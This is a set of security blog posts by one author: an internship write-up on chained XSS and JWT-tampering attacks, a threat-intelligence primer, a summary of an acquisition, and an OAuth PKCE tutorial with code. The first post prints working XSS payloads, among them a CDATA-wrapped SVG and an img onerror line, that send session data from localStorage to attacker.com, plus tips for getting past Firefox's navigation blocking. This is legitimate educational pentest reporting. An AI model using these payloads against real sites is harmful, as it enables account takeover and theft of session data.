DEV Community: ali eltaib

Cyblack internship Ethical hacking sprint write-up

ali eltaib — Thu, 16 Apr 2026 14:40:55 +0000

One of the most exciting parts of my Ethical Hacking sprint with CyBlack was moving beyond single findings and thinking in terms of attack chains and real-world impact.
A vulnerability on its own may seem low or medium risk, but during this sprint I focused on how multiple weaknesses can be combined to create high-impact exploitation paths.

This is a walk through to 2 of my favorite findings :

1- First Multi-Stage Chain Exploit

The Issue

We couldn’t directly access session-related values because the SVG payload executes on the API endpoint, which is considered a different origin due to running on a different port than the main web application.

To overcome this, the idea was to pivot the execution context:

Redirect the user from the API endpoint → to the /reset-password endpoint
This endpoint is vulnerable to self-XSS via the code parameter
This allows execution within the main application origin, enabling access to session data

A reasonable question is: why not just use the reset password XSS directly?

The answer is stealth and user perception:

The /reset-password URL may raise suspicion
The SVG URL appears benign (e.g., a shared image)
Additionally, exposing files in the /uploads directory without authentication is itself a bad practice

Chain of Thought

Initial payload:

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
   <script type="text/javascript">  
       var xssPayload = "<img src=x onerror=\"fetch('https://attacker.com/steal?data=' + btoa(localStorage.getItem('user')))\">";

    var target = "http://target.com/reset-password?email=hacker@cyber.com&code=" + encodeURIComponent(xssPayload);

    window.location.href = target;

   </script>
</svg>

This didn’t consistently trigger the request, so I switched to using an SVG onload event, which forces execution immediately:

<svg onload="fetch('https://attacker.com/steal?data=' + btoa(localStorage.getItem('user')))">

Issue Encountered: SVG Parsing Error

Error:

AttValue: " or ' expected

This happens because SVG is an XML document, and the parser processes special characters (<, >, ") before JavaScript execution.

The nested quotes inside the payload caused the XML parser to misinterpret the structure.

Solution: CDATA Section

To fix this, I wrapped the JavaScript inside a CDATA block, which tells the XML parser to treat the content as raw text.

Final working payload:

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124">
  <rect width="124" height="124" rx="24" fill="#000000"/>
  <script type="text/javascript">
    <![CDATA[
      // Using CDATA prevents the XML parser from breaking on quotes or < > symbols
      var xssPayload = "<svg onload=\"fetch('https://attacker.com/steal?data=' + btoa(localStorage.getItem('user')))\">";

      var target = "http://target.com/reset-password?email=hacker@cyber.com&code=" + encodeURIComponent(xssPayload);

      window.location.href = target;
    ]]>
  </script>
</svg>

Firefox Breakout Issue

Interestingly, the exploit worked in Chrome but not in Firefox.

This highlights the browser security differences:

Navigation blocking: Firefox restricts automatic redirects from untrusted contexts (like XML/SVG)
Storage partitioning: Data access depends on how the page is loaded (top-level vs embedded)
Frame restrictions: Prevent unauthorized top-level navigation
Bypass Techniques

To make the exploit work in Firefox:

Use setTimeout() to delay execution (bypasses immediate navigation blocking)
Use window.top to escape the SVG context
Use location.replace() instead of href to bypass navigation protections

2- Second Multi-Stage Chain: Chatbot Account Takeover

Initial Finding

A reflected XSS vulnerability was identified in the chatbot interface.

JavaScript payloads were successfully executed
However, the impact was limited when used alone
Escalation Strategy

To increase impact, I looked for ways to:

make the payload execute in another user’s context

JWT Tampering Discovery

The application retrieves chat history based on a user ID stored in the JWT.

This JWT was not properly validated, allowing:

Modification of the user ID
Impersonation of other users
Exploit Chain
Modify JWT → impersonate another user (e.g., admin/doctor)
Send a malicious message via chatbot
The message is rendered in the victim’s chat interface
XSS payload executes in the victim’s browser
Session data is exfiltrated

Payload Used

<img src=x onerror="new Image().src='https://attacker.com/?d=' + btoa(localStorage.getItem('user'));">

Impact

This chain significantly increases severity:

Account takeover
Privilege escalation (e.g., accessing sensitive data)
Cross-user attack execution
Persistent XSS (if chat history is stored)
Internal phishing & spoofing attacks

It also bypasses protections like:

IP restrictions
Geo-fencing

Because the attack originates from a legitimate user session

Extended Abuse Scenarios
Injecting fake login forms within the chat window
Spoofing support messages
Delivering phishing payloads through trusted channels

Cyber Threat Intelligence (How important it is and how it helps the SOC go from guesswork to calculated actions)

ali eltaib — Sun, 18 Jan 2026 13:06:06 +0000

acronyms used

APT : Advanced persistent threat
CTI : Cyber threat intelligence
TTP : Tactics, Techniques and procedures (used by the threat actors)

Introduction:

I used to think that Cyber Threat Intelligence (CTI) is all about collecting info regarding certain APTs and threat actors which are of relevant to the organization, for the sake of hardening the organizations security posture in accordance to the TTPs used.

Turns out CTI brings more to the table, like for instance it helps the SOC team greatly in many ways. let me present you some simple examples that I have taken from tryhackme to demonstrate :

say there are benign activities going on like someone doing network scanning and such, in this scenario Threat intelligence provides the context that helps an analyst decide which of those multiple alerts represents genuine danger.

Information security literature distinguishes data, information, and intelligence, yet the three terms often blur in daily conversation. Making them explicit clarifies an analyst's objective.

Layer	Definition	Alert-queue example	SOC L1 action
Data	An unprocessed observable	`45.155.205.3 :443`	Capture the artefact.
Information	Data plus factual annotation	IP registered to Hetzner, first seen 2023-07-14	Record attributes.
Intelligence	Analysed information that answers so-what	IP belongs to the current BumbleBee C2; block immediately	Escalate or suppress.

In concrete terms, Cyber Threat Intelligence (CTI) seeks to answer three essential questions:

Who, or what, is on the other end of this alert indicator?
What was their behaviour in the past?
How does my organisation respond, and what should I do about it right now?

therefore, a Level 1 analyst is responsible for making the artifacts usable and enriching them until they qualify as intelligence, or demonstrating that they never will. That push is enacted through enrichment: rapid, methodical lookups of public, commercial, and internal sources that shed light on origin, behaviour, and relevance.

Indicator Types Essential to First-Line Triage

Every artefact demands a tailored enrichment path. Memorising tools is less important than recognising what kind of indicator the alert supplies and knowing where to look. Below, we have a table showing the types of indicators we need to be aware of, with examples:

Indicator	Example	First Resources	Associated IOA or TTP Examples
IPv4 / IPv6	`45.155.205.3`	• WHOIS (ASN, allocation date) · VirusTotal Relations· Shodan banner scan	IOA: Repeated SSH failures TTP: `T1110.003`Password Guessing
Domain / FQDN	`malicious-updates[.]net`	• WHOIS age · RiskIQ or SecurityTrails passive-DNS · urlscan.io	IOA: surge of DNS queries to a 24-hour-old domain
URL	`hxxp://malicious-updates[.]net/login`	• URLhaus reputation · urlscan.io behaviour graph · Any.Run dynamic run (network off)	IOA: Browser POST to /gateway.php with payload
File hash	`e99a18c428cb38d5…`	• VirusTotal static & dynamic · Hybrid-Analysis · MalShare corpus	TTP: T1055 Process Injection into regsvr32.exe
E-mail address	`billing@evil-corp.com`	• MXToolbox header analysis • Have I Been Pwned	IOA: SPF failure plus recent domain registration
Local artefact	`HKCU\Software\Run\updater.exe`	• Sigma rules · EDR prevalence query · Vendor knowledge bas	TTP: T1060.001 Registry Run Keys

some of you might say okay am convinced how can I start utilizing CTI to my need.
well there are a lot of great tools that would give you a good jump start but here are the leading opensource examples, MISP and OpenCTI

and that sums up the end of this introductory article hope you enjoyed it.

CrowdStrike Acquires Browser Security Firm Seraphic for $420 Million

ali eltaib — Wed, 14 Jan 2026 06:50:39 +0000

CrowdStrike's decision to acquire Seraphic Security (announced in January 2026) was driven by Seraphic's unique ability to secure the "browser runtime" without forcing users to switch to a specialized "enterprise browser" like Island or Talon.

The core technology that caught CrowdStrike's attention is a patented JavaScript Engine (JSE) abstraction layer. Here is a breakdown of how that technology works and why it was the primary motivator for the deal:

1. Moving Target Defense (MTD) in the Browser

Unlike traditional security that looks for known "bad" signatures, Seraphic implements Moving Target Defense (MTD).

How it works: It randomizes the browser's JavaScript engine environment at the memory level. This is similar to Address Space Layout Randomization (ASLR) but specifically for the browser's execution layer.
The Benefit: It makes the memory addresses where code is executed unpredictable. Even if a hacker has a functional zero-day exploit, they won't know where to "point" it, effectively immunizing the browser against memory corruption bugs.

2. The Browser-Agnostic Abstraction Layer

Most competitors require a "walled garden" (a custom-built Chromium browser). Seraphic uses a lightweight agent that injects itself into any existing browser (Chrome, Safari, Edge, Firefox).

Code Injection: The agent creates a shim or abstraction layer between the external web code (scripts/pages) and the actual browser engine.
In-Session Visibility: Because it lives inside the session, it sees what the user sees. It can detect "Browser-in-the-Browser" (BitB) phishing attacks or "man-in-the-browser" session hijacking that traditional endpoint protection (EDR) might miss.

3. Native Electron App Protection

Seraphic was the first to extend this technology to Electron-based applications. Apps like Slack, Microsoft Teams, and Discord are essentially specialized web browsers. By injecting their engine into these apps, Seraphic provides the same DLP (Data Loss Prevention) and exploit protection for desktop collaboration tools as it does for web browsers.

4. Why CrowdStrike Wanted It

CrowdStrike’s goal is to create a "Unified Next-Gen Identity Security" strategy. They are integrating Seraphic’s technology to:

Eliminate Blind Spots: Traditional EDR (Falcon) monitors OS-level system calls. Seraphic monitors the browser runtime, covering the 85% of the workday where users are in a browser.
Secure "Agentic" AI: As users use AI agents and LLMs (like ChatGPT or Claude), Seraphic can see the prompts and data being uploaded in real-time, preventing "Shadow AI" data leaks.
Zero Standing Privilege: Combined with CrowdStrike's recent acquisition of SGNL, they can now use browser signals to dynamically revoke access permissions in the middle of a session if suspicious behavior is detected.

CrowdStrike Acquisition of Seraphic Security
This video provides an introductory overview of how Seraphic's agent transforms any standard browser into a secure enterprise environment.

OAuth Simplified: A Hands-On Breakdown

ali eltaib — Sat, 03 Jan 2026 20:22:49 +0000

introduction:

hey there, in this blog post I'll try to simplify how OAuth works and break down what actually happens behind the scenes.

so I built a small server and a segment of the client app of which would handle the OAuth request.
I decided to take this approach because I couldn't really pinpoint the attack vectors of OAuth with just the theory of how it works, I needed to build it in order to understand how to break it, anyhow enough with the introduction let's get into it.

so before we start anything let's make sure you guys understand the terminology that will be used add to that I will give you a mental model of the context which we will be implementing the OAuth functionality :

Terminology :

The Frontchannel (The User's Browser)

The Frontchannel is like a public courier. When the Auth Server wants to send a code to the Client App, it gives it to the browser (the courier) via a URL redirect.

The Risk: Because the data is in the URL, it's visible in browser history, server logs, and can be intercepted by malicious browser extensions.

Analogy: Sending a postcard. Anyone who handles the postcard can read what's written on the back.

The Backchannel (Server-to-Server)

The Backchannel is like a private secure line. Once the Client App has the temporary code, it calls the Auth Server directly over a secure HTTPS connection (using a library like axios or fetch).

The Security: This connection is encrypted. The user never sees the data being exchanged (like the code_verifier or the access_token).

Analogy: A private phone call between two offices. No one on the street knows the conversation is even happening.

In this system, the flow moves between the User's Browser (Frontchannel) and Server-to-Server (Backchannel) to ensure security. Here is the breakdown of the requests in order:

Mental model:

To make it clear, the server I built is a Custom OAuth 2.0 Authorization Server using the PKCE extension.

While Google acts as a "Public Identity Provider" for the whole world, this server is currently a "Private Identity Provider." Here is the exact context where this type of server is used:

1. The "Internal Ecosystem" Context

This is the most common real-world use case. Imagine you are building a company called "TechCorp" that has:

A Main API (Resource Server) that holds user data.
A Mobile App (iOS/Android).
A Web Dashboard (React/SPA).
A Desktop Tool.

Instead of writing login logic for each app, you build one Authorization Server (the one used here). All your different apps "Sign in with TechCorp" by talking to this single server. It centralizes your security.

2. The "Third-Party Developer" Context

Context: You have a platform (like a CRM or E-commerce engine) and you want outside developers to build "Apps" or "Plugins" for it.
Role: You give those developers a client_id, and they use the flow we built to let users "Authorize" their third-party apps to access your platform's data.

Why we used PKCE specifically?

this server is specifically designed for Public Clients. These are apps where the source code is visible to the user (like a Mobile App or a React site).

Without PKCE: A hacker could intercept the code from the browser and use it.
With PKCE: Even if they steal the code, they can't use it because they don't have the code_verifier hidden inside the app's memory.

Step 1: The Setup (Client App Internal)

Before any request is made, the Client App prepares a "secret handshake."

Functionality: The client generates a code_verifier (a random string) and a code_challenge (a hash of that string).
Purpose: To prove later that the app that started the login is the same one that finishes it.

// Step 1: The Setup (Client App Internal)

// Helper: Generate a random string for PKCE
const generateRandomString = () => crypto.randomBytes(32).toString('hex');

// Helper: Hash the string for PKCE (S256)
const generateCodeChallenge = (verifier) => {
    return crypto.createHash("sha256").update(verifier).digest("base64url");
};

Step 2: The Authorization Request (Frontchannel)

Endpoint: GET http://localhost:4000/authorize

The Request: The browser is redirected from the Client to the Auth Server with parameters like response_type ,client_id, redirect_uri, and the code_challenge.
Functionality: The Auth Server checks if the client_id exists and if the redirect_uri is on the pre-approved "Allowlist."
Storage: The Server generates a temporary authorizationCode and saves the code_challenge in its Map, linked to that code.

client_app:

// Step 2: The Authorization Request (Frontchannel)
app.get("/login", (req, res) => {

    // 1. Create PKCE Verifier and Challenge
    currentVerifier = generateRandomString();
    console.log("verifier :" + currentVerifier)
    const challenge = generateCodeChallenge(currentVerifier);
    console.log("code challenge :" + challenge)

    // 2. Build the Auth Server URL
    const authUrl = `${AUTH_SERVER_URL}/authorize?` +

        `response_type=code&` +  // specifying the grant type
        `client_id=${CLIENT_ID}&` +
        `redirect_uri=${encodeURIComponent(REDIRECT_URI)}&` +
        `code_challenge=${challenge}&` +
        `code_challenge_method=S256`;

    // 3. Send user to the Auth Server
    res.redirect(authUrl);
});

server:

app.get("/authorize", (req, res) => {

const {
response_type,
client_id,
redirect_uri,
code_challenge, //the hashed code challenge
code_challenge_method // specification of the hash used
} = req.query;

// 1. Validate response type
if (response_type !== "code") {
    return res.status(400).send("Unsupported response_type");

};

// 2. Validate client
const client = clients[client_id];

if (!client) {
    return res.status(400).send("Invalid client_id");
};

// 3. Validate redirect URI
if (!client.redirectUris.includes(redirect_uri)) {
    return res.status(400).send("Invalid redirect_uri"); // checking the redirect uri against the allow list
};

// 4. Enforce PKCE
if (!code_challenge || code_challenge_method !== "S256") {
    return res.status(400).send("PKCE required");
};

// ---- Fake login success ----
const authorizationCode = crypto.randomBytes(32).toString("hex"); // Think of this as a "Claim Ticket" a user gives you. It proves that the user just logged in and gave you permission.
console.log("authorization code :" + authorizationCode + " for client : " + client_id);

authorizationCodes.set(authorizationCode, {
client_id,
redirect_uri,
code_challenge
});

// Redirect back to client

const redirectUrl = `${redirect_uri}?code=${authorizationCode}`;
res.redirect(redirectUrl);

});

side note : so here is a fun fact about the request to app.get("/authorize") so at first I thought we should use the post method here but turned out standard APIs usually use POST for creating data, but the OAuth 2.0 specification (RFC 6749 section 3.1) actually requires the /authorize endpoint to support the GET method for multiple reasons (mainly because it's a redirect) .

Step 3: The Code Delivery (Frontchannel)

Endpoint: GET http://localhost:3000/callback

The Request: The Auth Server redirects the user’s browser back to the Client’s callback URL, attaching the code in the URL.
Functionality: The Client App catches this code from the URL.
Security Note: At this point, the Client has the Code, but it doesn't have a Token yet.

as shown in the response section of the The Authorization Request:

at this point we finished the front channel section of the uml diagram :

Step 4: The Token Exchange (Backchannel)

Endpoint: POST http://localhost:4000/token

The Request: The Client App sends a direct "Backchannel" POST request to the Server containing the code and the original code_verifier.
Functionality:
1. The Server retrieves the saved code_challenge from its Map.
2. It hashes the code_verifier sent by the client.
3. If Hash(verifier) === challenge, it proves the request is legitimate.
Cleanup: The Server deletes the code from its Map (making it single-use).

app.get("/callback", async (req, res) => {
const { code } = req.query;
if (!code) return res.send("No code received from Auth Server.");

try {

// 4. Exchange the Code for a Token
// We send the 'currentVerifier' that we saved earlier
const response = await axios.post(`${AUTH_SERVER_URL}/token`, {
    grant_type: "authorization_code",
    code: code,
    redirect_uri: REDIRECT_URI,
    client_id: CLIENT_ID,
    code_verifier: currentVerifier
}

// uncomment if you want to see the request using a proxy
// ,{
// proxy: {
// protocol: 'http',
// host: '127.0.0.1',
// port: 8080
// }}
);
const { access_token } = response.data;

*side note: some of you might be wondering why are we sending different grant_type parameters (response_type, grant_type) so here is an explanation of the difference :

response_type: Tells the server what to send back to the user's browser (a "code" or a "token").
grant_type: Tells the server what credentials the Client App is presenting to the private API (an "authorization_code", a "password", etc.).

the request won't normally show because it is not supposed to (we don't want the verifier to show ), we used axios as shown in the code to make the call (which creates a direct TCP connection from the terminal process to port 4000.)

Step 5: The Response (Backchannel)

Response: 200 OK { "access_token": "..." }

Functionality: The Server sends the access_token back to the Client.
Result: The Client App now has a valid token to make API requests, and the user is officially "logged in."

as shown in the response section:

here is link to the full code : github.com/aligotmelody/Oauth_lab